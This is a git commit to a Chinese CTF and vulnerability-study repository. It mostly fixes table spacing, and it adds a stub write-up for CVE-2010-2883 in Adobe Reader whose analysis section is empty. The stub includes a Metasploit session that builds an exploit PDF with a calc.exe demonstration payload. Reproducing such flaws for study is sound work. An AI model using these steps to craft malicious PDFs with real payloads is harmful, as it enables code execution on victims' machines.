add 7.1.8

This commit is contained in:
firmianay 2018-05-18 16:23:54 +08:00
parent 1ce79c2974
commit f1c51d8ea3
11 changed files with 64 additions and 6 deletions

View File

@ -174,6 +174,7 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [7.1.5 [CVE2018-1000001] glibc Buffer Underflow](doc/7.1.5_glibc_2018-1000001.md) * [7.1.5 [CVE2018-1000001] glibc Buffer Underflow](doc/7.1.5_glibc_2018-1000001.md)
* [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](doc/7.1.6_dnstracer_2017-9430.md) * [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](doc/7.1.6_dnstracer_2017-9430.md)
* [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](doc/7.1.7_binutils_2018-6323.md) * [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](doc/7.1.7_binutils_2018-6323.md)
* [7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow](doc/7.1.8_adobe_reader_2010-2883.md)
* Malware * Malware
* [八、学术篇](doc/8_academic.md) * [八、学术篇](doc/8_academic.md)
* [8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)](doc/8.1_ret2libc_without_func_calls.md) * [8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)](doc/8.1_ret2libc_without_func_calls.md)

View File

@ -18,7 +18,7 @@ tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构32 位| | 操作系统 | Ubuntu 16.04 | 体系结构32 位|
| 调试器 | gdb-peda| 版本号7.11.1 | | 调试器 | gdb-peda | 版本号7.11.1 |
| 漏洞软件 | tcpdump | 版本号4.9.0 | | 漏洞软件 | tcpdump | 版本号4.9.0 |
为了编译 tcpdump我们需要安装 dev 版本的 libpcap 为了编译 tcpdump我们需要安装 dev 版本的 libpcap

View File

@ -17,7 +17,7 @@ glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 12.04 | 体系结构64 位 | | 操作系统 | Ubuntu 12.04 | 体系结构64 位 |
| 调试器 | gdb-peda| 版本号7.4 | | 调试器 | gdb-peda | 版本号7.4 |
| 漏洞软件 | glibc | 版本号2.15 | | 漏洞软件 | glibc | 版本号2.15 |
| 受影响软件 | Exim4 | 版本号4.80 | | 受影响软件 | Exim4 | 版本号4.80 |

View File

@ -19,7 +19,7 @@ wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTP
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构64 位 | | 操作系统 | Ubuntu 16.04 | 体系结构64 位 |
| 调试器 | gdb-peda| 版本号7.11.1 | | 调试器 | gdb-peda | 版本号7.11.1 |
| 漏洞软件 | wget | 版本号1.19.1 | | 漏洞软件 | wget | 版本号1.19.1 |
首先编译安装 wget-1.19.1 首先编译安装 wget-1.19.1

View File

@ -17,7 +17,7 @@
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构64 位 | | 操作系统 | Ubuntu 16.04 | 体系结构64 位 |
| 调试器 | gdb-peda| 版本号7.11.1 | | 调试器 | gdb-peda | 版本号7.11.1 |
| 漏洞软件 | glibc | 版本号2.23-0ubuntu9 | | 漏洞软件 | glibc | 版本号2.23-0ubuntu9 |
```c ```c

View File

@ -17,7 +17,7 @@ DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 12.04 | 体系结构32 位 | | 操作系统 | Ubuntu 12.04 | 体系结构32 位 |
| 调试器 | gdb-peda| 版本号7.4 | | 调试器 | gdb-peda | 版本号7.4 |
| 漏洞软件 | DNSTracer | 版本号1.9 | | 漏洞软件 | DNSTracer | 版本号1.9 |
首先编译安装 DNSTracer 首先编译安装 DNSTracer

View File

@ -16,7 +16,7 @@
| |推荐使用的环境 | 备注 | | |推荐使用的环境 | 备注 |
| --- | --- | --- | | --- | --- | --- |
| 操作系统 | Ubuntu 16.04 | 体系结构32 位 | | 操作系统 | Ubuntu 16.04 | 体系结构32 位 |
| 调试器 | gdb-peda| 版本号7.11.1 | | 调试器 | gdb-peda | 版本号7.11.1 |
| 漏洞软件 | binutils | 版本号2.29.1 | | 漏洞软件 | binutils | 版本号2.29.1 |
系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1 系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1

View File

@ -0,0 +1,52 @@
# 7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow
- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析)
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.8_adobe_reader_2010-2883)
## 漏洞描述
Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体的 Smart INdependent Glyphlets (SING) 表格中超长字段的 PDF 文件执行任意代码或者导致拒绝服务。
## 漏洞复现
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
| 操作系统 | Windows XP SP3 | 体系结构32 位 |
| 调试器 | WinDbg | 版本号10.0 x86 |
| 漏洞软件 | Adobe Reader | 版本号9.3.4 |
我们利用 Metasploit 来生成攻击样本:
```
msf > search cve-2010-2883
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf
filename => cve20102883.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'cve20102883.pdf' file...
[+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf
```
使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器:
## 漏洞分析
## 参考资料
- 《漏洞战争》
- https://www.cvedetails.com/cve/CVE-2010-2883/

View File

@ -8,4 +8,5 @@
* [7.1.5 [CVE2018-1000001] glibc Buffer Underflow](7.1.5_glibc_2018-1000001.md) * [7.1.5 [CVE2018-1000001] glibc Buffer Underflow](7.1.5_glibc_2018-1000001.md)
* [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](7.1.6_dnstracer_2017-9430.md) * [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](7.1.6_dnstracer_2017-9430.md)
* [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](7.1.7_binutils_2018-6323.md) * [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](7.1.7_binutils_2018-6323.md)
* [7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow](7.1.8_adobe_reader_2010-2883.md)
* Malware * Malware

View File

@ -8,6 +8,7 @@
- [PortEx Analyzer](#portex-analyzer) - [PortEx Analyzer](#portex-analyzer)
- [Resource Hacker](#resource-hacker) - [Resource Hacker](#resource-hacker)
- [wxHexEditor](#wxhexeditor) - [wxHexEditor](#wxhexeditor)
- [PDF Stream Dumper](#pdf-stream-dumper)
## 010 Editor ## 010 Editor
@ -35,3 +36,6 @@ http://www.angusj.com/resourcehacker/
## wxHexEditor ## wxHexEditor
http://www.wxhexeditor.org/ http://www.wxhexeditor.org/
## PDF Stream Dumper
http://sandsprite.com/blogs/index.php?uid=7&pid=57